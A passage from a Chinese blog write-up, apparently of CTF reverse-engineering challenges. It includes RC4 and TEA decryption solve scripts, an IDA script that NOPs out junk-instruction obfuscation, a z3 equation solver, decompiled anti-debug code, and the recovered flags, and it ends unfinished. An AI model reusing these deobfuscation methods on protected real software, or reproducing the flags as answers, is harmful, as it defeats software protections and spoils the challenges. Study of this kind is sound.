0x00, 0x00, 0x00, 0xED, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x84, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x2C, 0x58, 0x5F, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x12, 0x67, 0x03, 0x00, 0x00, 0x00, 0x00, 0x91, 0x64, 0xDA, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x12, 0x56, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x8C, 0x2A, 0x9D, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x49, 0xE4, 0x9D, 0xD8, 0x46, 0x56, 0x00, 0x00]

def sub_8F0():
    a1 = [0 for i in range(528)]
    a2 = [0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
    a3 = 8

    v4 = 0
    a1[512] = 1
    a1[516] = 1
    for i in range(8):
        a1[i] = i
    qword_F80 = [i for i in range(256)]
    for i in range(8):
        a1[248 + i] = qword_F80[248 + i]

    # 假设 a1 的起始地址就是 8 的整数倍
    for i in range(248):
        a1[i] = qword_F80[i]
    # a1 = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x7F, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x80, 0x51, 0x0D, 0xE3, 0xFD, 0x7F, 0x00, 0x00, 0x08, 0x69, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0xF0, 0x0A, 0x58, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x50, 0x16, 0x58, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x00, 0x60, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x12, 0x6C, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x65, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x50, 0xFA, 0x57, 0x41, 0x98, 0x7F, 0x00, 0x00, 0xD8, 0x68, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x41, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0xB8, 0x51, 0x52, 0x41, 0x98, 0x7F, 0x00, 0x00, 0xCD, 0x0D, 0xC0, 0xC7, 0x0D, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x58, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x71, 0x8F, 0x55, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x69, 0x54, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x80, 0x16, 0x56, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x55, 0x0D, 0xE3, 0xFD, 0x7F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x55, 0x0D, 0xE3, 0xFD, 0x7F, 0x00, 0x00, 0xCD, 0x0D, 0xC0, 0xC7, 0x0D, 0x56, 0x00, 0x00, 0xAE, 0xBD, 0x55, 0x41, 0x98, 0x7F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xC7, 0x0D, 0x56, 0x00, 0x00]
    for i in range(0xff + 1):
        v4 = (v4 + a1[i] + a2[i % a3]) & 0xff
        v5 = a1[i]
        a1[i] = a1[v4]
        a1[v4] = v5
    
    for i in range(256):
        a1[256 + i] = a1[i]
    
    return a1

def sub_A62():
    a1 = sub_8F0()
    a2 = [0 for i in range(520)]
    a3 = unk_10A0
    a4 = 256

    v8 = a1[512]
    v5 = a1[520]
    i = v8

    for _ in range(len(unk_10A0)):
        if a4 + v8 <= i:
            break
        v5 = (v5 + a1[i]) & 0xff
        v6 = a1[i] & 0xff
        a1[i] = a1[v5]
        a1[v5] = v6
        a2[i - v8] = a3[i - v8] ^ a1[(a1[i] + a1[v5]) & 0xff]
        i += 1
    for aa in a2:
        print(chr(aa), end = "")

if __name__ == "__main__":
    sub_A62()

# flag{easyobaasdasasfas7214}

0x02 总结

 比较简单，有失水准。

reverse_re2

0x00

 32位的动态链接库。

 找字符串找到个这个：

image-20221217160008945

image-20221220112252891

 如上图所示，其实sub_4116FD的内容就是jmp sub_403D5A。

 里面还有好多花指令，其中还有一个.text:0041179F位置上的lea esp, a12345678[ecx]，直接让堆栈不平衡了，可能是新开了一个函数，但是我没管这些直接nop掉了。最后得到：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  intptr_t v3; // eax
  int v5; // eax
  int v6; // eax
  void *v7; // [esp+25Ch] [ebp-4A4h]
  char Str2[39]; // [esp+268h] [ebp-498h] BYREF
  char v9[473]; // [esp+28Fh] [ebp-471h] BYREF
  char Str1[41]; // [esp+470h] [ebp-290h] BYREF
  char v11[471]; // [esp+499h] [ebp-267h] BYREF
  char Str[4]; // [esp+678h] [ebp-88h] BYREF
  char v13[124]; // [esp+67Ch] [ebp-84h] BYREF

  if ( sub_403E31() )
    j___loaddll((char *)0x539);
  if ( sub_403D5A() )
    j___loaddll((char *)0x539);
  if ( sub_403067() )
    j___loaddll((char *)0x539);
  v3 = sub_403E68();
  if ( v3 )
    v3 = j___loaddll((char *)0x539);
  *(_DWORD *)Str = v3;
  strcpy(v13, "5678");
  j__memset(&v13[6], 0, 0x76u);
  strcpy(Str1, "flag{oh!yougotthefakeflagnowxxxxxxxxxx}");
  Str1[40] = aFlagOhYougotth[40];
  j__memset(v11, 0, sizeof(v11));
  Str2[0] = -35;
  Str2[1] = -97;
  Str2[2] = 88;
  Str2[3] = -77;
  Str2[4] = 114;
  Str2[5] = -56;
  Str2[6] = -79;
  Str2[7] = -46;
  Str2[8] = -111;
  Str2[9] = 65;
  Str2[10] = 111;
  Str2[11] = -69;
  Str2[12] = -55;
  Str2[13] = 92;
  Str2[14] = 123;
  Str2[15] = -63;
  Str2[16] = 19;
  Str2[17] = -19;
  Str2[18] = -5;
  Str2[19] = 40;
  Str2[20] = -77;
  Str2[21] = 16;
  Str2[22] = 11;
  Str2[23] = -49;
  Str2[24] = 33;
  Str2[25] = 104;
  Str2[26] = -94;
  Str2[27] = -122;
  Str2[28] = 107;
  Str2[29] = -98;
  Str2[30] = -112;
  Str2[31] = 29;
  Str2[32] = -54;
  Str2[33] = -12;
  Str2[34] = 9;
  Str2[35] = 30;
  Str2[36] = -24;
  Str2[37] = 121;
  Str2[38] = 106;
  j__memset(v9, 0, sizeof(v9));
  v7 = j__malloc(0x408u);
  if ( sub_403E68() )
    return 0;
  if ( sub_4021FD() )
    return 0;
  if ( sub_404A48() )
    return 1;
  if ( sub_403373() )
    return 1;
  if ( sub_402EEB() )
    return 2;
  sub_404831(dword_4960C4, "%s", Str1);
  v5 = j__strlen(Str);
  sub_401C21((int)v7, (int)Str, v5);
  if ( sub_402473() )
    return 3;
  v6 = j__strlen(Str1);
  sub_402DEC((int)v7, (int)Str1, v6);
  if ( sub_40149C() )
    return 2;
  if ( !j__strcmp(Str1, Str2) )
    sub_404831(dword_4960C0, "%s\n", "Correct!");
  return 0;
}

 这里比较坑的一点是：上述代码写的有问题（主要是Str这里，只写了strcpy(v13,"5678")），看一下相应的汇编：

image-20221226114957888

 我倾向于认为上述红框部分写错了，应该是lea eax a12345678[ecx]，这样的话把1234赋给eax，之后使用mov dword ptr [ebp+Str], eax把1234赋给Str，又由于Str,var_84,var_84+4是连着的，所以相当于Str保存了12345678字符串。

 反编译之后主要就是俩函数非常重要，但是逆了几天还是不行，查了查wp是rc4，突然卧槽，真是，赶紧复习一波rc4。复习完之后，找了个rc4加解密脚本，直接写解题脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/26 13:46:47
# @Author: wd-2711
'''

from Crypto.Cipher import ARC4

def rc4_encrypt(data, key1):       
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    return res

def rc4_decrypt(data, key1):  
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    return res


if __name__ == "__main__":
    key = '12345678'

    encrypt_data = [0xDD,0x9F,0x58,0xB3,0x72,0xC8,0xB1,0xD2,0x91,0x41,0x6F,0xBB,0xC9,0x5C,0x7B,0xC1,0x13,0xED,0xFB,0x28,0xB3,0x10,0xB,0xCF,0x21,0x68,0xA2,0x86,0x6B,0x9E,0x90,0x1D,0xCA,0xF4,9,0x1E,0xE8,0x79,0x6A]
    encrypt_data = [str(hex(i)).replace("0x", "").zfill(2) for i in encrypt_data]

    encrypt_data = bytes.fromhex(''.join(encrypt_data))
    print('解密后:',rc4_decrypt(encrypt_data, key))

 一个小坑就是，我认为他官方wp把0xFB看成了0xF8，导致官方wp设置的是：flag{youaretoasdaseazxvzxsw123sssssxxx}，而我得出的是flag{youaretoasdasfazxvzxsw123sssssxxx}。服了，能不能认真一点。

0x01

 之前反混淆都是手动，尝试直接写脚本来处理。仿照之前的serial150-wp里的脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from idc_bc695 import *
beginAddr = 0x4116A0
endAddr = 0x411B21

if __name__ == "__main__":
    for i in range(endAddr - beginAddr):
    
        code = [0xB8, -1, -1, -1, -1, 0xBB, -1, -1, -1, -1, 0x2B, 0xD8, 0x58, 0x40, 0x83, 0xC0, 1, 3, 0xD8, 0x53, 0xC3]
        flag = 0
        loc = i + beginAddr
        for ind in range(len(code)):
            if code[ind] == -1: continue
            if code[ind] != Byte(loc + ind):
                flag = 1
                break
        if flag == 1: continue
        
        if Byte(loc - 1) == 0xC7:
            # print("patch")
            PatchByte(loc - 1, 0x90)
        if Byte(loc + len(code)) == 0x8D:
            # print("patch")
            PatchByte(loc + len(code), 0x90)    
    
        jmpAddr = 0
        mul = 1
        for i in range(4):
            jmpAddr += mul * Byte(loc + 6 + i)
            mul *= 256
        print(hex(jmpAddr), hex(loc))
        jmpAddr = str(hex(jmpAddr - (5 + loc)))[2:].zfill(8)
        print(jmpAddr)
        for i in range(5):
            if i == 0:
                # print("patch")
                PatchByte(loc + i, 0xE9)
            else:
                # print(jmpAddr[-2:])
                PatchByte(loc + i, int(jmpAddr[-2:], 16))
                jmpAddr = jmpAddr[:-2]
    
        for i in range(len(code) - 5):
            # print("patch")
            PatchByte(loc + i + 5, 0x90)

 经过调试整合之后，看上去比手动的好多了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v4; // eax
  size_t v5; // eax
  void *v6; // [esp+25Ch] [ebp-4A4h]
  char Str2[39]; // [esp+268h] [ebp-498h] BYREF
  char v8[473]; // [esp+28Fh] [ebp-471h] BYREF
  char Str1[41]; // [esp+470h] [ebp-290h] BYREF
  char v10[471]; // [esp+499h] [ebp-267h] BYREF
  char Str[10]; // [esp+678h] [ebp-88h] BYREF
  char v12[118]; // [esp+682h] [ebp-7Eh] BYREF

  if ( sub_403E31() )
    j___loaddll((char *)0x539);
  if ( sub_403D5A() )
    j___loaddll((char *)0x539);
  if ( sub_403067() )
    j___loaddll((char *)0x539);
  if ( sub_403E68() )
    j___loaddll((char *)0x539);
  strcpy(Str, "12345678");
  j__memset(v12, 0, sizeof(v12));
  strcpy(Str1, "flag{oh!yougotthefakeflagnowxxxxxxxxxx}");
  Str1[40] = aFlagOhYougotth[40];
  j__memset(v10, 0, sizeof(v10));
  Str2[0] = -35;
  Str2[1] = -97;
  Str2[2] = 88;
  Str2[3] = -77;
  Str2[4] = 114;
  Str2[5] = -56;
  Str2[6] = -79;
  Str2[7] = -46;
  Str2[8] = -111;
  Str2[9] = 65;
  Str2[10] = 111;
  Str2[11] = -69;
  Str2[12] = -55;
  Str2[13] = 92;
  Str2[14] = 123;
  Str2[15] = -63;
  Str2[16] = 19;
  Str2[17] = -19;
  Str2[18] = -5;
  Str2[19] = 40;
  Str2[20] = -77;
  Str2[21] = 16;
  Str2[22] = 11;
  Str2[23] = -49;
  Str2[24] = 33;
  Str2[25] = 104;
  Str2[26] = -94;
  Str2[27] = -122;
  Str2[28] = 107;
  Str2[29] = -98;
  Str2[30] = -112;
  Str2[31] = 29;
  Str2[32] = -54;
  Str2[33] = -12;
  Str2[34] = 9;
  Str2[35] = 30;
  Str2[36] = -24;
  Str2[37] = 121;
  Str2[38] = 106;
  j__memset(v8, 0, sizeof(v8));
  v6 = j__malloc(0x408u);
  if ( sub_403E68() )
    return 0;
  if ( sub_4021FD() )
    return 0;
  if ( sub_404A48() )
    return 1;
  if ( sub_403373() )
    return 1;
  if ( sub_402EEB() )
    return 2;
  sub_404831(dword_4960C4 ^ (unsigned int)sub_4019CE, "%s", Str1);
  v4 = j__strlen(Str);
  sub_401C21(v6, Str, v4);
  if ( sub_402473() )
    return 3;
  v5 = j__strlen(Str1);
  sub_402DEC(v6, Str1, v5);
  if ( sub_40149C() )
    return 2;
  if ( !j__strcmp(Str1, Str2) )
    sub_404831(dword_4960C0, "%s\n", "Correct!");
  return 0;
}

知识点1：

1
lea eax,[1001H]` 等价于`mov eax,1001H

知识点2：RC4算法

 可用于SSL，WLAN啥的。大致流程：

image-20221226120320912

 具体流程图（密码学学过）：

image-20221226130122192

 解释一下上图：

 1.先初始化状态向量S（256个字节，用来作为密钥流生成的种子1）。按照升序，给每个字节赋值0,1,2,3,4,5,6…..,254,255。

 2.初始密钥T（由用户输入），长度任意。如果输入长度小于256个字节，则进行轮转，直到填满。例如输入密钥的是1,2,3,4,5 , 那么填入的是1,2,3,4,5,1,2,3,4,5,1,2,3,4,5……..

 3.开始对状态向量S进行置换操作（用来打乱初始种子1）。按照下列规则进行：

（从第零个字节开始，执行256次，保证每个字节都得到处理）

1
2
3
4
5
j = 0;
for (i = 0 ; i < 256 ; i++) {
    j = (j + S[i] + T[i]) mod 256;
    swap(S[i], S[j]);
}

 4.最后是密钥流的生成与加密，假设我的明文字节数是datalength=1024个字节（当然可以是任意个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
i=0;
j=0;
while(datalength--){
    //相当于执行1024次，这样生成的秘钥流也是1024个字节
　　i = (i + 1) mod 256;
　　j = (j + S[i]) mod 256;
　　swap(S[i] , S[j]);
　　t = (S[i] + S[j]) mod 256;
　　k = S[t];
　　//这里的K就是当前生成的一个秘钥流中的一位
　　//可以直接在这里进行加密，当然也可以将密钥流保存在数组中，最后进行异或就ok
　　data[]=data[]^k； //进行加密，"^"是异或运算符
}

reverse_re4

0x00

 32位的PE。ida看一下，还是考的反混淆呀。

 把混淆都nop掉，最终得到：

image-20221226174146656

 写脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/26 17:04:05
# @Author: wd-2711
'''

def function1(a1:list, a2:list) -> list:
    v6 = a1[0]
    v5 = a1[1]
    v4 = 0xc6ef3720
    for i in range(0x20):
        v5 = (v5 - ((a2[3] + (v6 >> 5)) ^ ((v4 + v6) & 0xFFFFFFFF) ^ ((a2[2] + 16 * v6) & 0xFFFFFFFF)) + 0xFFFFFFFF + 1) & 0xFFFFFFFF
        v6 = (v6 - ((a2[1] + (v5 >> 5)) ^ ((v4 + v5) & 0xFFFFFFFF) ^ ((a2[0] + 16 * v5) & 0xFFFFFFFF)) + 0xFFFFFFFF + 1) & 0xFFFFFFFF
        v4 = (v4 + 0x61C88647) & 0xFFFFFFFF
    return [v6, v5]


if __name__ == "__main__":
    target = [0x85A6892D,0xA177B6BD,0x89422515,0x159AE870,0x5BC09E5D,0xC13F293E,0x25B7084F,0xADB12A4C]
    param_1 = [57315,4414,22679,13908]

    tmp1 = []
    for i in range(4):
        tmp1.extend(function1(target[i*2:i*2+2], param_1))

    for i in tmp1:
        ii = str(hex(i))[2:]
        while(len(ii)):
            print(chr(int(ii[-2:], 16)), end = "")
            ii = ii[:-2]
# fcf64fc9cc0e0fe70971fd6fc6fff602

比较简单。

crackeme

0x00

 64位ELF。感觉做过呢。

 其实没做过。

image-20221227142544798

 主要就是上面的四个处理函数，其中第四个sub_400D6A是16个方程，一开始想用z3解，但是最后发现z3的解有问题，还是手解吧。

 直接上脚本咯，这个题还是比较麻烦的，但是不是思路意义上的麻烦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
# @Time  : 2022/12/27 10:44:54
# @Author: wd-2711
'''

from z3 import *

def equationSolver():
    # have problems

    x = [BitVec('x%s' % i, 8) for i in range(16)]
    solver = Solver()
    solver.add((0xFFFCE79E * x[0]) & 0xFFFFFFFF == 0xFDF7FFB0)
    solver.add((0x2C778 * x[0] + 0xFFFED97C * x[1]) & 0xFFFFFFFF == 0x11BFAC4)
    solver.add((0xFFFA7ED7 * x[1] + 0xFFF8E54C * x[2] + 0xFFFB6BF5 * x[0]) & 0xFFFFFFFF == 0xF7542D5D)
    solver.add((0xFFFE82A8 * x[0] + 0x5E652 * x[3] + 0xFFF82285 * x[2] + 0xA61E * x[1]) & 0xFFFFFFFF == 0xFF849AD7)
    solver.add((31288 * x[0] + 0xFFFB0C54 * x[3] + 0xFFFEA34F * x[1] + 0xFFFC577A * x[4] + 0xFFFC513C * x[2]) & 0xFFFFFFFF == 0xFA855867)
    solver.add((0xFFFBEE70 * x[2] + 216272 * x[5] + 411737 * x[0] + 210304 * x[3] + 0xFFFFDE2E * x[4] + 454111 * x[1]) & 0xFFFFFFFF == 144299767)
    solver.add((0xFFF9DC51 * x[4] + 0xFFF86BAC * x[0] + 367831 * x[2] + 371046 * x[5] + 0xFFFE1E87 * x[3] + 188174 * x[1] + 178541 * x[6]) & 0xFFFFFFFF == 0xFDC60BE9)
    solver.add((0xFFF9A92D * x[1] + 237549 * x[5] + 0xFFFB10F8 * x[7] + 0xFFFCD694 * x[3] + 0xFFFFA31C * x[0] + 94300 * x[4] + 364867 * x[6] + 273839 * x[2]) & 0xFFFFFFFF == 0xFF76C4D2)
    solver.add((511561 * x[5] + 0xFFFCB63A * x[0] + 44567 * x[6] + 179735 * x[2] + 55541 * x[8] + 0xFFFCDFCA * x[7] + 0xFFFD8DED * x[1] + 441741 * x[4] + 443248 * x[3]) & 0xFFFFFFFF == 57425926)
    solver.add((407430 * x[0] + 407030 * x[3] + 503571 * x[6] + 0xFFF95D87 * x[5] + 385646 * x[4] + 437781 * x[7] + 20147 * x[9] + 0xFFFFD627 * x[2] + 0xFFFC3872 * x[8] + 4963 * x[1]) & 0xFFFFFFFF == 267063706)
    solver.add((128236 * x[7] + 0xFFFD1AA5 * x[4] + 298269 * x[2] + 117737 * x[8] + 0xFFFF170A * x[1] + 503873 * x[5] + 0xFFFB9AB8 * x[9] + 0xFFF924EF * x[3] + 0xFFFB4D55 * x[6] + 0xFFFF1225 * x[0] + 313065 * x[10]) & 0xFFFFFFFF == 0xFA195B00)
    solver.add((127585 * x[3] + 447223 * x[10] + 0xFFF83118 * x[0] + 0xFFFF0269 * x[1] + 0xFFFE3B21 * x[11] + 0xFFFAFEA3 * x[6] + 2659 * x[4] + 0xFFFC3EA2 * x[2] + 0xFFF87E59 * x[8] + 0xFFFA03D8 * x[9] + 0xFFFD4887 * x[5] + 49684 * x[7]) & 0xFFFFFFFF == 0xECFAD7E6)
    solver.add((431281 * x[7] + 303436 * x[10] + 322142 * x[8] + 190343 * x[2] + 522606 * x[5] + 0xFFFA5EF2 * x[9] + 427328 * x[12] + 0xFFF9D78E * x[11] + 0xFFF96FC7 * x[0] + 436111 * x[4] + 0xFFF95AC0 * x[6] + 0xFFFBEB01 * x[3] + 0xFFF7FA9F * x[1]) & 0xFFFFFFFF == 0xF7077400)
    solver.add((0xFFF9899E * x[4] + 0xFFFA0082 * x[6] + 0xFFFB0F5F * x[12] + 463495 * x[1] + 345256 * x[8] + 138356 * x[7] + 0xFFFC8FEA * x[0] + 251299 * x[11] + 0xFFFEBE40 * x[9] + 0xFFF977CB * x[10] + 71943 * x[13] + 425456 * x[2] + 56298 * x[3] + 0xFFFA6D4F * x[5]) & 0xFFFFFFFF == 0xFF214D65)
    solver.add((0xFFFF9A06 * x[14] + 0xFFFDCE6F * x[3] + 15549 * x[13] + 0xFFF8510D * x[10] + 0xFFF9EC42 * x[9] + 36874 * x[2] + 0xFFFEB6CA * x[7] + 434801 * x[12] + 0xFFF8C9C4 * x[0] + 448925 * x[8] + 0xFFFF4AC7 * x[5] + 0xFFFE070C * x[4] + 0xFFFF54F9 * x[11] + 60534 * x[6] + 441341 * x[1]) & 0xFFFFFFFF == 0xFDB9BC14)
    solver.add((0xFFF9C269 * x[3] + 0xFFF9148B * x[9] + 246957 * x[5] + 197292 * x[15] + 0xFFFF0D9A * x[8] + 0xFFFFAD94 * x[6] + 0xFFF85EC4 * x[14] + 0xFFFA1AFE * x[2] + 415182 * x[13] + 24237 * x[0] + 0xFFF9AE91 * x[4] + 524530 * x[1] + 93336 * x[10] + 7350 * x[12] + 129819 * x[11] + 0xFFFB853F * x[7]) & 0xFFFFFFFF == 0xF89B0712)
    solver.check()
    print(solver.model())
    res = str(solver.model()).replace('\n', '').replace(' ', '').replace('[', '').replace(']', '').split(',') 
    tmp = [0 for i in range(16)]
    for r in res:
        r = r.split('=')
        tmp[int(r[0][1:], 10)] = int(r[1], 10)  
    return tmp

def operate_1(a: list) -> list:
    for i in range(8):
        a[i + 8] ^= a[i]
    return a

def operate_2(a: list) -> list:
    arr1 = [0x25, 0x3A, 0x4C, 0x27, 0x8E, 0x5F, 0xA8, 0xC5, 0x20, 0xC2, 0xFF, 0x8B, 0x28, 0x30, 0xB4, 0x3C, 0x19, 0xC0, 0x2F, 0x6A, 0x65, 0x24, 0x8C, 0x13, 0x7E, 0xF6, 0x3E, 0x17, 0xDD, 0x89, 0x55, 0x82, 0x57, 0x03, 0xF1, 0xE1, 0x3D, 0xB8, 0x31, 0x67, 0x00, 0x22, 0x2D, 0xA7, 0x32, 0x58, 0x8F, 0xCF, 0x78, 0x39, 0x73, 0x44, 0x34, 0xD8, 0x77, 0x12, 0x88, 0xF5, 0x51, 0x75, 0xC9, 0x7F, 0x7B, 0x0F, 0xE5, 0xF8, 0x6E, 0xE2, 0x83, 0x05, 0x47, 0x72, 0xFE, 0xE0, 0xF7, 0xF0, 0x04, 0x9A, 0x80, 0x1C, 0x8D, 0xEF, 0x4E, 0x33, 0xAA, 0x66, 0x9C, 0x37, 0xB1, 0x21, 0x85, 0x1D, 0xAF, 0x81, 0x42, 0x5B, 0xC7, 0x9D, 0xE6, 0x38, 0x8A, 0x49, 0x7A, 0xAE, 0xD0, 0xDF, 0xFB, 0x79, 0x18, 0xDC, 0xF3, 0xA5, 0x59, 0x29, 0xEB, 0xB0, 0x0D, 0x43, 0xEC, 0xEE, 0xCC, 0x2E, 0xF9, 0x08, 0x74, 0x5E, 0x50, 0xBA, 0xE4, 0x61, 0xA6, 0x14, 0x54, 0xE8, 0xDB, 0xB5, 0xFA, 0xD9, 0xED, 0xA3, 0x01, 0xB3, 0x11, 0x2B, 0x96, 0x6F, 0x52, 0x36, 0x23, 0x16, 0x1E, 0xF2, 0x40, 0x6C, 0x48, 0x35, 0x9E, 0xB9, 0x45, 0xC3, 0x02, 0x7D, 0x97, 0x94, 0x4A, 0xD1, 0x95, 0xCB, 0xC4, 0x2C, 0xA4, 0x15, 0x07, 0xBD, 0xA2, 0xAB, 0x9F, 0xB6, 0x9B, 0xFD, 0xB2, 0x53, 0x64, 0x5A, 0xDE, 0x0B, 0x70, 0xBE, 0x76, 0xE9, 0x4D, 0xBF, 0xEA, 0xF4, 0xAC, 0x86, 0x0C, 0x6B, 0x63, 0x5C, 0x71, 0x91, 0x2A, 0x3B, 0x09, 0x90, 0xFC, 0x98, 0x46, 0xA9, 0x69, 0xB7, 0xD7, 0xDA, 0xC1, 0x93, 0xC8, 0xD4, 0x06, 0x4F, 0x62, 0x6D, 0x3F, 0xBC, 0x92, 0x84, 0x26, 0x68, 0x60, 0xE3, 0xD6, 0xC6, 0xCA, 0x1A, 0xCE, 0xAD, 0x10, 0x1F, 0xBB, 0x41, 0x7C, 0xA0, 0x5D, 0x0E, 0x1B, 0x99, 0xE7, 0x4B, 0xD2, 0xCD, 0x0A, 0xD3, 0xA1, 0x87, 0xD5, 0x56]
    return [arr1.index(i) for i in a]

def operate_3(a: list) -> list:
    a.extend([ord(i) for i in "nice2you"])
    v3 = [i for i in a[:4]]
    _v3 = 0
    mul = 1
    for v in v3:
        _v3 += v * mul
        mul *= 256
    v3 = _v3


    v4 = [i for i in a[4:8]]
    _v4 = 0
    mul = 1
    for v in v4:
        _v4 += v * mul
        mul *= 256
    v4 = _v4

    a2 = []
    for i in range(4):
        tmp = [i for i in a[8+i*4:12+i*4]]
        _tmp = 0
        mul = 1
        for v in tmp:
            _tmp += v * mul
            mul *= 256
        tmp = _tmp
        a2.append(tmp)   
    v6 = 0x468acf00
    for i in range(0x1F + 1):
        v4 = (v4 - (((v3 + v6) & 0xFFFFFFFF) ^ ((16 * v3 + a2[2]) & 0xFFFFFFFF) ^ (((v3 >> 5) + a2[3]) & 0xFFFFFFFF))) & 0xFFFFFFFF
        v3 = (v3 - (((v4 + v6) & 0xFFFFFFFF) ^ ((16 * v4 + a2[0]) & 0xFFFFFFFF) ^ (((v4 >> 5) + a2[1]) & 0xFFFFFFFF))) & 0xFFFFFFFF
        v6 = (v6 - 0x12345678) & 0xFFFFFFFF
    v3 = str(hex(v3))[2:]
    v4 = str(hex(v4))[2:]

    for i in range(4):
        a[i] = int(v3[-2:], 16)
        v3 = v3[:-2]
        a[i + 4] = int(v4[-2:], 16)
        v4 = v4[:-2]
    return a    

if __name__ == "__main__":

    # tmp1 = equationSolver()
    tmp1 = [168, 159, 81, 112, 113, 9, 237, 115, 241, 171, 137, 168, 73, 113, 103, 55]
    tmp1 = operate_1(tmp1)
    tmp1 = operate_2(tmp1)
    tmp1 = operate_3(tmp1)
    print("flag{", end = "")
    for t in tmp1[:16]:
        print(chr(t), end = "")
    print("}")
#flag{y0u_g0t_p455c0d3}

strange_language

0x00

 一看就是Python，因为这exe有7000kb，有点大。经过exe转pyc后，首先用010editor看一下main文件，可以看到：

image-20221227153129664

 里面使用了brainfuckZ中的main_check函数。恰巧文件夹里也有bainfuck.cp38-win_amd64.pyd的文件，.pyd文件一般是python的动态链接库，于是想逆向一下这个。

 pyd相较于python源码本身可读性大大下降，很多人处于类似混淆得目的，也会使用这种形式对python代码进行保护。

 pyd相关博客：

  1. https://bbs.pediy.com/thread-259124.htm
  2. https://tttang.com/archive/1641/

0x01

 看了好久，找到了main_check函数，但是一直没看出来具体是干啥的，打算好好看看 https://tttang.com/archive/1641/#toc_pyd_1，之后直接看本题的wp。

